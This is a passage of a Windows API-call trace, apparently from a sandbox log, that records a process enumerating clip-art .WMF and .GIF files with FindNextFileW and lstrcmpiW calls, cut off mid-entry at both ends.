ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="BD00146_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="BD00155_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="BD00160_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="BD00173_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD05119_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD06102_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD06200_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD07761_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD07804_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD07831_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD08758_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD08773_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD08808_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD08868_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0079.609] lstrcmpiW (lpString1="BD09031_.WMF", lpString2=".") returned 1 [0079.609] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="..") returned 1 [0079.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0079.610] lstrcmpiW (lpString1="BD09194_.WMF", lpString2=".") returned 1 [0079.610] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="..") returned 1 [0079.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0079.610] lstrcmpiW (lpString1="BD09662_.WMF", lpString2=".") returned 1 [0079.610] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="..") returned 1 [0079.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0079.610] lstrcmpiW (lpString1="BD09664_.WMF", lpString2=".") returned 1 [0079.610] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="..") returned 1 [0079.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0079.610] lstrcmpiW (lpString1="BD10890_.GIF", lpString2=".") returned 1 [0079.610] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="..") returned 1 [0079.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0079.610] lstrcmpiW (lpString1="BD10972_.GIF", lpString2=".") returned 1 [0079.610] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="..") returned 1 [0079.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0079.610] lstrcmpiW (lpString1="BD19563_.GIF", lpString2=".") returned 1 [0079.610] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="..") returned 1 [0079.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0079.610] lstrcmpiW (lpString1="BD19582_.GIF", lpString2=".") returned 1 [0079.610] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="..") returned 1 [0079.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0079.610] lstrcmpiW (lpString1="BD19695_.WMF", lpString2=".") returned 1 [0079.610] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="..") returned 1 [0079.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0079.611] lstrcmpiW (lpString1="BD19827_.WMF", lpString2=".") returned 1 [0079.611] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="..") returned 1 [0079.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0079.611] lstrcmpiW (lpString1="BD19828_.WMF", lpString2=".") returned 1 [0079.611] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="..") returned 1 [0079.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0079.611] lstrcmpiW (lpString1="BD19986_.WMF", lpString2=".") returned 1 [0079.611] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="..") returned 1 [0079.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0079.611] lstrcmpiW (lpString1="BD19988_.WMF", lpString2=".") returned 1 [0079.611] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="..") returned 1 [0079.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0079.611] lstrcmpiW (lpString1="BD20013_.WMF", lpString2=".") returned 1 [0079.611] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="..") returned 1 [0079.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0079.611] lstrcmpiW (lpString1="BL00008_.WMF", lpString2=".") returned 1 [0079.611] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="..") returned 1 [0079.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0079.611] lstrcmpiW (lpString1="BL00012_.WMF", lpString2=".") returned 1 [0079.611] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="..") returned 1 [0079.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0079.611] lstrcmpiW (lpString1="BL00045_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00098_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00105_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00122_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00130_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00148_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00152_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, 